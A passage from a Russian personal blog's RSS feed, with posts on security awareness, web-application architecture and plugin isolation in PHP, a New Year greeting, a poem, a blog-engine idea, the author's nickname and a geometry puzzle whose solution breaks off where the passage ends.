		<description><![CDATA[Хотелось&#160;бы поднять важную для&#160;меня тему. Почему многие люди не&#160;обращают внимание на&#160;собственную информационную безопасность? Многие люди говорят: &#171;Да&#160;кому я&#160;нужен?&#187;, &#171;Ну&#160;кому нужен мой&#160;компьютер, мои&#160;пароли и&#160;т.д.?&#187;, &#171;Я&#160;же не&#160;тайный агент, чтобы меня пытались взламывать&#187;, примеры таких фраз можно приводить очень долго. Но&#160;все&#160;эти люди ошибаются из-за нехватка знаний по&#160;этому вопросу. Зачем кому-то нужен Ваш&#160;домашний компьютер? Затем, например, чтобы включить&#160;Вас в&#160;ботнет [...]]]></description>
			<content:encoded><![CDATA[<p>Хотелось&nbsp;бы поднять важную для&nbsp;меня тему.<br />
Почему многие люди не&nbsp;обращают внимание на&nbsp;собственную <strong>информационную безопасность</strong>?</p>
<p>Многие люди говорят: &laquo;Да&nbsp;кому я&nbsp;нужен?&raquo;, &laquo;Ну&nbsp;кому нужен мой&nbsp;компьютер, мои&nbsp;пароли и&nbsp;т.д.?&raquo;, &laquo;Я&nbsp;же не&nbsp;тайный агент, чтобы меня пытались взламывать&raquo;, примеры таких фраз можно приводить очень долго. Но&nbsp;все&nbsp;эти люди ошибаются из-за нехватка знаний по&nbsp;этому вопросу.</p>
<p><strong>Зачем кому-то нужен Ваш&nbsp;домашний компьютер?</strong><br />
Затем, например, чтобы включить&nbsp;Вас в&nbsp;ботнет и&nbsp;использовать Ваш&nbsp;компьютер для&nbsp;атаки на&nbsp;другие. Или&nbsp;чтобы украсть Ваш&nbsp;пароль от&nbsp;электронной платёжной системы. Некоторые взломщики могут пытаться взломать Ваш&nbsp;компьютер ради собственной забавы. Всё&nbsp;ещё недостаточно аргументов?</p>
<p><strong>Почему в&nbsp;компании архиважна безопасность абсолютно всех сотрудников?</strong><br />
Представим ситуацию, в&nbsp;которой один сотрудник решил, что его&nbsp;компьютер никому в&nbsp;голову не&nbsp;придёт взломать, потому&nbsp;что он&nbsp;никому не&nbsp;нужен, поэтому оставил свой пароль на&nbsp;бумажке рядом с&nbsp;клавиатурой. А&nbsp;другой сотрудник решил, что&nbsp;всем компьютерам компании можно доверять, так&nbsp;как они&nbsp;находятся во&nbsp;внутренней корпоративной сети. В&nbsp;результате злоумышленник легко может проникнуть на&nbsp;компьютер первого сотрудника, а&nbsp;затем&nbsp;&mdash; и&nbsp;далее.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2010/01/misc/informacionnaya-bezopasnost/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Правильная модель web-приложения</title>
		<link>http://blogfigaroo.ru/2010/01/webdev/web-app-model/</link>
		<comments>http://blogfigaroo.ru/2010/01/webdev/web-app-model/#comments</comments>
		<pubDate>Sat, 09 Jan 2010 12:59:14 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Web-разработка]]></category>
		<category><![CDATA[MVC]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=965</guid>
		<description><![CDATA[Для&#160;начала картинка: Любое сложное веб-приложение, как&#160;правило, состоит из&#160;серверной части (ServerSide) и&#160;клиентской части (ClientSide), которые взаимодействуют между собой. Представим, что&#160;наше приложение&#160;&#8212; это&#160;обыкновенный сайт (example.com), и&#160;пользователь перешёл по&#160;адресу http://example.com/news/2010/. Браузер пользователя отправит запрос приложению, передав в&#160;качестве некоего параметра строку "/news/2010/". Работа серверной части Этот параметр будет перехвачен моделью (ServerSide Model), которая передаст управление контроллеру (Controller) news (см.&#160;ЧПУ, [...]]]></description>
			<content:encoded><![CDATA[<p>Для&nbsp;начала картинка:</p>
<div id="attachment_979" class="wp-caption aligncenter" style="width: 519px"><img src="http://blogfigaroo.ru/wp-content/uploads/2010/01/model-web.png" alt="Модель web-приложения" title="Модель web-приложения" width="509" height="562" class="size-full wp-image-979" /><p class="wp-caption-text">Модель web-приложения</p></div>
<p><span id="more-965"></span></p>
<p>Любое сложное веб-приложение, как&nbsp;правило, состоит из&nbsp;серверной части (<strong>ServerSide</strong>) и&nbsp;клиентской части (<strong>ClientSide</strong>), которые взаимодействуют между собой.</p>
<p>Представим, что&nbsp;наше приложение&nbsp;&mdash; это&nbsp;обыкновенный сайт (example.com), и&nbsp;пользователь перешёл по&nbsp;адресу <em>http://example.com/news/2010/</em>. Браузер пользователя отправит запрос приложению, передав в&nbsp;качестве некоего параметра строку "/news/2010/".</p>
<p><strong>Работа серверной части</strong><br />
Этот параметр будет перехвачен моделью (<strong>ServerSide Model</strong>), которая передаст управление контроллеру (<strong>Controller</strong>) <em>news</em> (см.&nbsp;<a href="http://blogfigaroo.ru/2009/04/php-programming/sozdayom-chpu-sef-apache-php/" title="как сделать ЧПУ на Apache + PHP">ЧПУ</a>, но&nbsp;не&nbsp;будем углубляться в&nbsp;тонкости реализации). Далее этот контроллер определяет, что&nbsp;пользователь хочет получить новости за&nbsp;2010-ый&nbsp;год (по строке "/news/2010/"), обращается к&nbsp;модели с&nbsp;соответствующим запросом (например, получение новостей из&nbsp;базы данных), и&nbsp;передаёт требуемые данные шаблону (<strong>Template</strong>). Шаблон обрабатывает полученные данные и&nbsp;отдаёт их&nbsp;пользовательскому браузеру, как&nbsp;правило, в&nbsp;виде HTML-документа.<br />
В&nbsp;случае POST-запроса всё&nbsp;происходит точно также, передаваемые данные обрабатывает контроллер страницы.</p>
<p><strong>Работа клиентской части</strong><br />
Браузер получит HTML-документ. В&nbsp;данной правильной модели <strong>HTML</strong> отвечает только за&nbsp;<strong>разметку документа</strong>. Затем браузер получит CSS-часть (<strong>Style</strong>) и&nbsp;JS-часть (<strong>Script</strong>) для&nbsp;данного документа. <strong>СSS</strong> определяет <strong>оформление документа</strong>, а&nbsp;<strong>JS</strong>&nbsp;&mdash; отвечает за&nbsp;<strong>поведение</strong>.<br />
Например, HTML говорит: &laquo;это&nbsp;заголовок новости, это&nbsp;тело новости, это&nbsp;дата новости&raquo;, CSS говорит: &laquo;заголовок должен выглядеть так-то, тело должно выглядеть так-то, дата должна выглядеть так-то, но&nbsp;тело и&nbsp;дата по&nbsp;умолчанию скрыты от&nbsp;пользователя&raquo;, а&nbsp;JS говорит: &laquo;при&nbsp;клике мыши на&nbsp;заголовок новости будут показаны её&nbsp;тело и&nbsp;дата&raquo;</p>
<p>Web-приложение может иметь общий шаблон (<strong>CommonTemplate</strong>), который будут наследовать все остальные шаблоны, а&nbsp;также некий общий CSS-документ (<strong>CommonStyle</strong>), влияющий на&nbsp;все страницы.</p>
<p><strong>Немного подробнее про&nbsp;&laquo;поведение клиентской части&raquo;</strong><br />
Обычно, web-приложение имеет некий базис для&nbsp;работы JS-скриптов страниц (<strong>ClientSide Model</strong>). Это&nbsp;библиотека функций и&nbsp;объектов, фреймворки (jQuery, Mootools...), и&nbsp;т.д. А&nbsp;JS-части страниц управляют поведением конкретной страницы в&nbsp;определённых для&nbsp;неё случаях.<br />
Если JS-части потребуется обратиться с&nbsp;<strong>AJAX</strong>-запросом для&nbsp;передачи или&nbsp;получения некоторых данных к&nbsp;серверной части, то&nbsp;она обращается с&nbsp;ним к&nbsp;контроллеру страницы. Можно сказать, что&nbsp;JS-часть &mdash; это&nbsp;&laquo;клиентский контроллер страницы&raquo;.</p>
<p><strong>Итоги и&nbsp;выводы</strong><br />
Данная модель описывает взаимодействие серверной и&nbsp;клиентской части web-приложения, серверная часть которого построена в&nbsp;духе <abbr title="Model-View-Controller &mdash; Модель-Шаблон-Контроллер">MVC</abbr>, а&nbsp;клиентская часть&nbsp;&mdash в&nbsp;духе разделения разметки, оформления и&nbsp;поведения страницы.<br />
Естественно, данная модель абстрактна, и&nbsp;в&nbsp;реальных приложениях некоторые части могут отсутствовать или&nbsp;присутствовать дополнительные, а&nbsp;также взаимодействие может происходить по&nbsp;более сложной схеме. (Например, приложение может быть блог-движком или&nbsp;форумным движком и&nbsp;предоставлять возможность расширения себя самого с&nbsp;помощью плагинов.)</p>
<p><em>Спасибо за&nbsp;внимание.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2010/01/webdev/web-app-model/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Режим ядра и режим пользователя в web-приложениях</title>
		<link>http://blogfigaroo.ru/2010/01/webdev/web-kernel-and-user-mode/</link>
		<comments>http://blogfigaroo.ru/2010/01/webdev/web-kernel-and-user-mode/#comments</comments>
		<pubDate>Fri, 08 Jan 2010 17:37:56 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Web-разработка]]></category>
		<category><![CDATA[MVC]]></category>
		<category><![CDATA[мысли о смысле]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=955</guid>
		<description><![CDATA[Исходные данные Модульное web-приложение, которое использует шаблоны и&#160;плагины. Сюда можно отнести системы управления конентом, форумные движки, системы ведения блогов (тот&#160;же WordPress) и&#160;другие. В&#160;современном веб-приложении обычно есть некое ядро, контроллеры и&#160;шаблоны страниц, а&#160;также плагины. Ядро&#160;&#8212; это&#160;модель, предоставляющая базовый функционал всем остальным частям системы (нашего приложения). Контроллер страницы&#160;&#8212; по&#160;сути скрипт, реализующий некую функциональность применительно к&#160;некой странице (например, [...]]]></description>
			<content:encoded><![CDATA[<h3>Исходные данные</h3>
<p>Модульное web-приложение, которое использует шаблоны и&nbsp;плагины. Сюда можно отнести системы управления конентом, форумные движки, системы ведения блогов (тот&nbsp;же <a href="http://blogfigaroo.ru/tag/wordpress/">WordPress</a>) и&nbsp;другие.</p>
<p>В&nbsp;современном веб-приложении обычно есть некое ядро, контроллеры и&nbsp;шаблоны страниц, а&nbsp;также плагины.</p>
<p><strong>Ядро</strong>&nbsp;&mdash; это&nbsp;модель, предоставляющая базовый функционал всем остальным частям системы (нашего приложения).<br />
<strong>Контроллер страницы</strong>&nbsp;&mdash; по&nbsp;сути скрипт, реализующий некую функциональность применительно к&nbsp;некой странице (например, проверку формы и&nbsp;добавление нового пользователя для&nbsp;страницы регистрации пользователей).<br />
<strong>Шаблон</strong>&nbsp;&mdash; это&nbsp;представление страницы. Шаблон отвечает только за&nbsp;то, как&nbsp;выглядит страница.<br />
<strong>Плагины</strong>&nbsp;&mdash; по&nbsp;сути скрипты, расширяющие функциональность контроллеров и&nbsp;шаблонов.</p>
<p>Таким образом, мы&nbsp;имеем одно ядро, некоторое количество контроллеров и&nbsp;шаблонов, а&nbsp;также ноль или&nbsp;некоторое количество плагинов.<br />
<span id="more-955"></span></p>
<h3>Проблема</h3>
<p>Допустим, Вы&nbsp;разрабатываете такое веб-приложение. Ядром и&nbsp;контроллерами страниц управляете только&nbsp;Вы, поэтому их&nbsp;поведение Вы&nbsp;можете полностью контролировать. Но&nbsp;шаблоны, как&nbsp;правило, разрабатывает верстальщик или&nbsp;пользователь, а&nbsp;плагины&nbsp;&mdash; вообще посторонние люди.</p>
<p><strong>Проблема заключается в&nbsp;том, что&nbsp;Вы не&nbsp;можете контролировать поведение шаблонов и&nbsp;плагинов.</strong></p>
<p><strong>Рассмотрим подробнее.</strong><br />
Допустим, Вы&nbsp;разработали систему ведения блогов типа WordPress (условимся, что&nbsp;на&nbsp;PHP). Система предоставляет базовый функционал за&nbsp;счёт контроллеров. Но&nbsp;пользователь захотел расширить функционал и&nbsp;поставил некий абстрактный плагин &laquo;Популярные записи&raquo;, который находит пять наиболее популярных записей и&nbsp;отображает ссылки на&nbsp;них.</p>
<p>Всё&nbsp;бы хорошо, но, допустим, плагин вызвал фатальную ошибку. Что&nbsp;произойдёт в&nbsp;таком случае? Всё&nbsp;приложение немедленно завершит свою работу. Для&nbsp;некоторых плагинов&nbsp;это, может быть, и&nbsp;правильное поведение. Но&nbsp;для такого незначительного, как &laquo;Популярные записи&raquo; &mdash; недопустимое. Лучшей реакцией было&nbsp;бы отловить ошибку и&nbsp;завершить работу только данного плагина. В&nbsp;этом случае просто&nbsp;мы не&nbsp;увидели&nbsp;бы популярных записей, а&nbsp;всё остальное продолжало&nbsp;бы работать в&nbsp;штатном режиме.</p>
<p><strong>Такому неконтролируемому поведению подвержены шаблоны и&nbsp;плагины.</strong></p>
<h3>Разберёмся с шаблонами</h3>
<p>На&nbsp;мой взгляд, в&nbsp;данном случае решается всё&nbsp;довольно тривиально. Мы&nbsp;запрещаем использовать php-код в&nbsp;шаблонах, используя вместо него <strong>язык шаблонов</strong>. Для&nbsp;этого можно использовать шаблонизатор, например, <a rel="nofollow" target="_blank" href="http://blogfigaroo.ru/goto/?golink=http%3A%2F%2Fwww.smarty.net%2F&hash=7L1LVAIHZ8SO0GOGCS80WG004">Smarty</a>. Холиварить на&nbsp;тему, какой шаблонизатор лучше, я&nbsp;не&nbsp;буду, здесь решать только&nbsp;Вам.</p>
<p><strong>Шаблонизатор позволяет&nbsp;нам контролировать шаблоны.</strong></p>
<h3>Не&nbsp;всё так&nbsp;просто с&nbsp;плагинами</h3>
<p>Плагины куда сложнее, чем&nbsp;шаблоны. Плагины пишутся на&nbsp;языке&nbsp;PHP и&nbsp;запретить его&nbsp;использование не&nbsp;представляется мне&nbsp;возможным (разве&nbsp;что только парсить&nbsp;код и&nbsp;проверять на&nbsp;допустимость, но&nbsp;это&nbsp;глуповато и&nbsp;слишком замедлит работу приложения).</p>
<p>Казалось&nbsp;бы, ну&nbsp;исполняют они&nbsp;PHP-код, ну&nbsp;и&nbsp;что? Приведу примеры.<br />
<strong>Пример&nbsp;1.</strong> Допустим, у&nbsp;Вас есть некий объект $DB для&nbsp;работы с&nbsp;базой данных. Если плагин выполнит инструкцию unset($DB), работа приложения будет нарушена. В&nbsp;результате, в&nbsp;плагинах могут содержаться как&nbsp;и&nbsp;простые ошибки-баги, нарушающие работу приложения, так&nbsp;и&nbsp;потенциальный вредоносный&nbsp;код.<br />
<strong>Пример&nbsp;2.</strong> Упомянутый выше плагин &laquo;Популярные записи&raquo; так&nbsp;или&nbsp;иначе обращается к&nbsp;базе данных. Допустим, у &nbsp;нас есть два&nbsp;объекта $DB для&nbsp;низкоуровневой работы с&nbsp;БД и $DB_BLOG &mdash; для высокоуровневой работы с&nbsp;БД. Нам&nbsp;бы хотелось, чтобы плагин использовал в&nbsp;своей работе $DB_BLOG, а&nbsp;не $DB или&nbsp;же mysql_*-функции PHP. Ошибку обращения к&nbsp;$DB_BLOG мы&nbsp;можем считать незначительной и&nbsp;<strong>завершить работу плагина</strong>, её&nbsp;вызвавшего. Таким образом, это&nbsp;не&nbsp;приведёт к&nbsp;завершению всего приложения. Ошибку обращения к&nbsp;$DB мы&nbsp;можем отловить, но&nbsp;не&nbsp;можем определить <strong>степень её&nbsp;серьёзности</strong>, потому что&nbsp;мы не&nbsp;знаем, обычный плагин&nbsp;ли её&nbsp;вызвал или&nbsp;же само ядро, поэтому придётся завершить работу всего приложения.</p>
<p>Поэтому хотелось&nbsp;бы иметь <strong>kernel mode</strong> (режим ядра) и&nbsp;<strong>user mode</strong> (режим пользователя). В&nbsp;режиме пользователя можно предоставлять плагинам некий интерфейс, запрещая обращаться к&nbsp;низкоуровневым объектам приложения (мы&nbsp;их&nbsp;сами выбираем), а&nbsp;также использовать некоторые функции PHP.</p>
<p>Перехват ошибок в&nbsp;плагинах (даже фатальных) реализовать просто (почитать об&nbsp;этом можно, например, <a rel="nofollow" target="_blank" href="http://blogfigaroo.ru/goto/?golink=http%3A%2F%2Fdklab.ru%2Fchicken%2Fnablas%2F45.html&hash=A0ALFHA90JCWOCK00CC00KG4S">здесь</a>), не&nbsp;понимаю, почему в&nbsp;<abbr title="WordPress">WP</abbr> такого не&nbsp;сделали.<br />
С&nbsp;запретом обращения к&nbsp;определённым функциям всё&nbsp;обстоит несколько сложнее.</p>
<h3>Итоги</h3>
<p>Моделью и&nbsp;контроллерами управляем мы&nbsp;сами, они не&nbsp;нуждаются в&nbsp;таком жёстком контроле. Шаблоны можно контролировать с&nbsp;помощью шаблонизатора. А&nbsp;как&nbsp;быть с&nbsp;плагинами? Частично этот вопрос можно решить, но, к&nbsp;сожалению, пока не&nbsp;полностью.</p>
<p><em>Продолжение следует...</em></p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2010/01/webdev/web-kernel-and-user-mode/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>С Новым годом!</title>
		<link>http://blogfigaroo.ru/2009/12/misc/s-novym-godom/</link>
		<comments>http://blogfigaroo.ru/2009/12/misc/s-novym-godom/#comments</comments>
		<pubDate>Thu, 31 Dec 2009 10:51:53 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=922</guid>
		<description><![CDATA[Поздравляю своих читателей и&#160;посетителей с&#160;наступающим Новым 2010-ым&#160;годом! Пусть в&#160;Новом году у&#160;Вас&#160;будет ещё&#160;больше радости, любви и&#160;счастья, а&#160;удача и&#160;успех пусть не&#160;покидают Вас&#160;никогда. С&#160;Новым годом, друзья!]]></description>
			<content:encoded><![CDATA[<p>Поздравляю своих читателей и&nbsp;посетителей с&nbsp;наступающим Новым 2010-ым&nbsp;годом!</p>
<p>Пусть в&nbsp;Новом году у&nbsp;Вас&nbsp;будет ещё&nbsp;больше радости, любви и&nbsp;счастья, а&nbsp;удача и&nbsp;успех пусть не&nbsp;покидают Вас&nbsp;никогда.<br />
С&nbsp;Новым годом, друзья!</p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2009/12/misc/s-novym-godom/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Из Андрея Дементьева</title>
		<link>http://blogfigaroo.ru/2009/12/misc/iz-andreya-dementeva/</link>
		<comments>http://blogfigaroo.ru/2009/12/misc/iz-andreya-dementeva/#comments</comments>
		<pubDate>Wed, 23 Dec 2009 20:57:59 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[мысли о смысле]]></category>
		<category><![CDATA[цитата]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=919</guid>
		<description><![CDATA[Никогда, никогда ни&#160;о&#160;чем не&#160;жалейте — Ни&#160;потерянных дней, ни&#160;сгоревшей любви. Пусть другой гениально играет на&#160;флейте, Но&#160;еще гениальнее слушали&#160;Вы. 1977 г.]]></description>
			<content:encoded><![CDATA[<blockquote><p>Никогда, никогда ни&nbsp;о&nbsp;чем не&nbsp;жалейте —<br />
Ни&nbsp;потерянных дней, ни&nbsp;сгоревшей любви.<br />
Пусть другой гениально играет на&nbsp;флейте,<br />
Но&nbsp;еще гениальнее слушали&nbsp;Вы.</p></blockquote>
<p>1977 г.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2009/12/misc/iz-andreya-dementeva/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Новая идея &#8212; блог-движок</title>
		<link>http://blogfigaroo.ru/2009/12/webdev/novaya-ideya-blog-dvizhok/</link>
		<comments>http://blogfigaroo.ru/2009/12/webdev/novaya-ideya-blog-dvizhok/#comments</comments>
		<pubDate>Sun, 13 Dec 2009 10:56:21 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Web-разработка]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[мысли о смысле]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=908</guid>
		<description><![CDATA[Здравствуйте, дорогие читатели моего скромного блога. :-) На&#160;досуге пришла такая&#160;вот мысль&#160;&#8212; создать свой движок для&#160;ведения standalone-блогов. Сейчас есть, пожалуй, единственная адекватная система для&#160;ведения собственного автономного блога. Это&#160;&#8212; WordPress. Не&#160;смотря на&#160;то, что&#160;WordPress&#160;&#8212; довольно гибкий и&#160;популярный, он&#160;имеет массу недостатков. Например, для&#160;хорошей индексации поисковиками нужно поставить пару доп.&#160;плагинов (что&#160;уменьшает как&#160;надёжность всей системы, так&#160;и&#160;её быстродействие), и&#160;даже после этого индексация [...]]]></description>
			<content:encoded><![CDATA[<p>Здравствуйте, дорогие читатели моего скромного блога. :-)<br />
На&nbsp;досуге пришла такая&nbsp;вот мысль&nbsp;&mdash; создать свой движок для&nbsp;ведения standalone-блогов. Сейчас есть, пожалуй, единственная адекватная система для&nbsp;ведения собственного автономного блога. Это&nbsp;&mdash; <a href="http://blogfigaroo.ru/tag/wordpress/" title="мои заметки о WordPress">WordPress</a>. Не&nbsp;смотря на&nbsp;то, что&nbsp;<strong>WordPress</strong>&nbsp;&mdash; довольно гибкий и&nbsp;популярный, он&nbsp;имеет массу недостатков. Например, для&nbsp;хорошей индексации поисковиками нужно поставить пару доп.&nbsp;плагинов (что&nbsp;уменьшает как&nbsp;надёжность всей системы, так&nbsp;и&nbsp;её быстродействие), и&nbsp;даже после этого индексация не&nbsp;на&nbsp;самом лучшем уровне из-за&nbsp;дублирующего контента&nbsp;&mdash; приходится вручную править robots.txt. Не&nbsp;очень удачно, на&nbsp;мой&nbsp;взгляд, обстоит дело с&nbsp;пользователями и&nbsp;разделением прав. В&nbsp;системе плагинов&nbsp;&mdash; хаос. Новичку трудно сделать полноценный качественный блог на&nbsp;WordPress'е. Тем&nbsp;не&nbsp;менее, попрошу не&nbsp;забывать также об&nbsp;огромном количестве плюсов и&nbsp;популярности этой системы.<br />
<span id="more-908"></span></p>
<p>Моя&nbsp;идея заключается в&nbsp;том, чтобы сохранить все&nbsp;плюсы WordPress, избавившись при&nbsp;этом от&nbsp;недостатков. Хочется сделать такой движок, который:</p>
<ol>
<li>позволил&nbsp;бы иметь свой собственный блог без&nbsp;лишних напрягов</li>
<li>имел&nbsp;бы интуитивно-понятный и&nbsp;лакончный интерфейс</li>
<li>имел&nbsp;бы все&nbsp;функции блога: посты, рубрики, метки (тэги), комментарии и&nbsp;т.д.</li>
<li>позволил&nbsp;бы создать произвольную структуру и&nbsp;иерархию страниц сайта (как&nbsp;статичных, так&nbsp;и&nbsp;своих собственных) и&nbsp;удобно ею&nbsp;управлять</li>
<li>позволил&nbsp;бы просто, но&nbsp;мощно управлять правами зарегистрированных пользователей и&nbsp;гостей</li>
<li>поддерживал&nbsp;бы мультиязычность и&nbsp;различные темы оформления</li>
<li>имел&nbsp;бы изначально в&nbsp;ядре мощную функциональность, среди которой:
<ul>
<li>ЧПУ (SEF)</li>
<li>SEO-оптимизацию</li>
<li>возможность постить не&nbsp;только текст и&nbsp;изображения, но&nbsp;и&nbsp;аудио, видео, документы, др.&nbsp;файлы и&nbsp;т.д.</li>
<li>полную поддержку UTF-8</li>
<li>автоматическое определение часового пояса</li>
<li>мощную антиспам-систему</li>
<li>RSS-ленты</li>
<li>GrAvatar'ы</li>
<li>и&nbsp;др.</li>
</ul>
</li>
<li>был&nbsp;бы хорошо защищён от&nbsp;злоумышленников</li>
<li>поддерживал&nbsp;бы плагины, имея строгий, мощный, удобный&nbsp;API</li>
<li>пришёлся&nbsp;бы по&nbsp;душе, как&nbsp;новичку без&nbsp;знания web-технологий, так&nbsp;и&nbsp;web-программисту со&nbsp;стажем</li>
</ol>
<p>Думаю, что&nbsp;идея реальна и&nbsp;актуальна.</p>
<p><em>Спасибо за&nbsp;внимание.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2009/12/webdev/novaya-ideya-blog-dvizhok/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>О моём нике &#171;Figaroo&#187;</title>
		<link>http://blogfigaroo.ru/2009/12/misc/about-my-nick/</link>
		<comments>http://blogfigaroo.ru/2009/12/misc/about-my-nick/#comments</comments>
		<pubDate>Wed, 02 Dec 2009 21:57:25 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[про меня]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=885</guid>
		<description><![CDATA[Здравствуйте. В&#160;связи с&#160;частым неправильным произношением моего ника, я&#160;хотел&#160;бы уделить этому вопросу пару слов. :-) Мой&#160;ник читается по-русски очень просто: &#171;Фигар́у&#187; с&#160;ударением на&#160;последний слог. Английская транскрипция выглядит следующим образом: [figΛru:]. Ошибочным произношением являются &#171;Фигаро&#187;, &#171;Фигароо&#187; и&#160;прочие. История происхождения ника довольна туманна. Когда-то, несколько лет&#160;назад, мне&#160;потребовалось придумать постоянный&#160;ник (до&#160;этого было несколько ников, которые я&#160;использовал попеременно). Примерно незадолго [...]]]></description>
			<content:encoded><![CDATA[<p>Здравствуйте. В&nbsp;связи с&nbsp;частым неправильным произношением моего <acronym title="никнейм &mdash; сетевое имя">ника</acronym>, я&nbsp;хотел&nbsp;бы уделить этому вопросу пару слов. :-)</p>
<p>Мой&nbsp;ник читается по-русски очень просто: &laquo;<strong>Фигар́у</strong>&raquo; с&nbsp;ударением на&nbsp;последний слог.<br />
Английская транскрипция выглядит следующим образом: <strong>[figΛru:]</strong>.<br />
Ошибочным произношением являются &laquo;Фигаро&raquo;, &laquo;Фигароо&raquo; и&nbsp;прочие.</p>
<p>История происхождения ника довольна туманна. Когда-то, несколько лет&nbsp;назад, мне&nbsp;потребовалось придумать постоянный&nbsp;ник (до&nbsp;этого было несколько ников, которые я&nbsp;использовал попеременно). Примерно незадолго до&nbsp;этого я&nbsp;посмотрел вторую серию &laquo;Властелина Колец&raquo;, и&nbsp;в&nbsp;том переводе Смеагорла почему-то называли &laquo;Смегароу&raquo;. Мне&nbsp;очень понравилась концовка &laquo;-ароу&raquo;, а&nbsp;ещё&nbsp;&mdash; английская&nbsp;&laquo;F&raquo;. Но&nbsp;окончание &laquo;-оу&raquo; по-английски&nbsp;бы писалось&nbsp;как&nbsp;&laquo;ooo&raquo;, что&nbsp;не&nbsp;было красиво, поэтому одна&nbsp;&laquo;o&raquo; была отрезана. Так&nbsp;и&nbsp;получился новый&nbsp;ник&nbsp;&mdash; &laquo;Figaroo&raquo;.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2009/12/misc/about-my-nick/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Простая задачка по геометрии</title>
		<link>http://blogfigaroo.ru/2009/12/misc/zadachka-po-geometrii/</link>
		<comments>http://blogfigaroo.ru/2009/12/misc/zadachka-po-geometrii/#comments</comments>
		<pubDate>Mon, 30 Nov 2009 20:25:59 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[задачки]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=868</guid>
		<description><![CDATA[Задача: найти соотношение отрезков A-1&#160;:&#160;1-B, равное соотношению D-2&#160;:&#160;2-C, такое, чтобы путь из&#160;точки&#160;1 в&#160;точку&#160;2 через точки&#160;A&#160;и&#160;D был&#160;равным пути через точки&#160;B&#160;и&#160;C при&#160;том, что&#160;двигаться можно только по&#160;чёрным линиям. UPD: показать ответ expand(document.getElementById('ddet47814508'));expand(document.getElementById('ddetlink47814508')) На&#160;самом деле, ответ очень прост. Примем за&#160;O точку, в&#160;которой находятся центры наших окружностей. Найдём длины наших окружностей через их&#160;радиусы, учитывая углы: Затем составим отношение для&#160;путей: , [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_869" class="wp-caption aligncenter" style="width: 403px"><img src="http://blogfigaroo.ru/wp-content/uploads/2009/12/zadachka_geometrya.png" alt="Рисунок к задаче" title="zadachka_geometrya" width="393" height="393" class="size-full wp-image-869" /><p class="wp-caption-text">Рисунок к задаче</p></div>
<p><strong>Задача:</strong> найти соотношение отрезков <strong>A-1&nbsp;:&nbsp;1-B</strong>, равное соотношению <b>D-2&nbsp;:&nbsp;2-C</b>, такое, чтобы путь из&nbsp;точки&nbsp;<b>1</b> в&nbsp;точку&nbsp;<b>2</b> через точки&nbsp;<b>A</b>&nbsp;и&nbsp;<b>D</b> был&nbsp;равным пути через точки&nbsp;<b>B</b>&nbsp;и&nbsp;<b>C</b> при&nbsp;том, что&nbsp;двигаться можно только по&nbsp;чёрным линиям.</p>
<p><u>UPD:</u> <a style="display:none;" id="ddetlink84696822" href="javascript:expand(document.getElementById('ddet84696822'))">показать ответ</a>
<div class="ddet_div" id="ddet84696822"><script language="JavaScript" type="text/javascript">expand(document.getElementById('ddet84696822'));expand(document.getElementById('ddetlink84696822'))</script>
На&nbsp;самом деле, ответ очень прост.</p>
<ol>
<li>Примем за&nbsp;<b>O</b> точку, в&nbsp;которой находятся центры наших окружностей.<br />
Найдём длины наших окружностей через их&nbsp;радиусы, учитывая углы:<br />
<img src="http://blogfigaroo.ru/wp-content/cache/tex_3b4ba28889dc4f04d6de05cb4fac0bd8.png" align="absmiddle" class="tex" alt="AD=OA*\angle{AOD}, BC=OB*\angle{AOD}" title="Простая задачка по геометрии" /></li>
<li>Затем составим отношение для&nbsp;путей:<br />
<img src="http://blogfigaroo.ru/wp-content/cache/tex_c5a84092f71e274928e50c19b7a5761e.png" align="absmiddle" class="tex" alt="A1 + AD + D2=B1 + BC + C2" title="Простая задачка по геометрии" />, причём <img src="http://blogfigaroo.ru/wp-content/cache/tex_71f0f1bd57a9f362be8133354e5efb94.png" align="absmiddle" class="tex" alt="A1=D2" title="Простая задачка по геометрии" /> и <img src="http://blogfigaroo.ru/wp-content/cache/tex_2cefa566306e21eb311d18b8e7d30fbc.png" align="absmiddle" class="tex" alt="B1=C2" title="Простая задачка по геометрии" /><br />
Таким образом:<br />
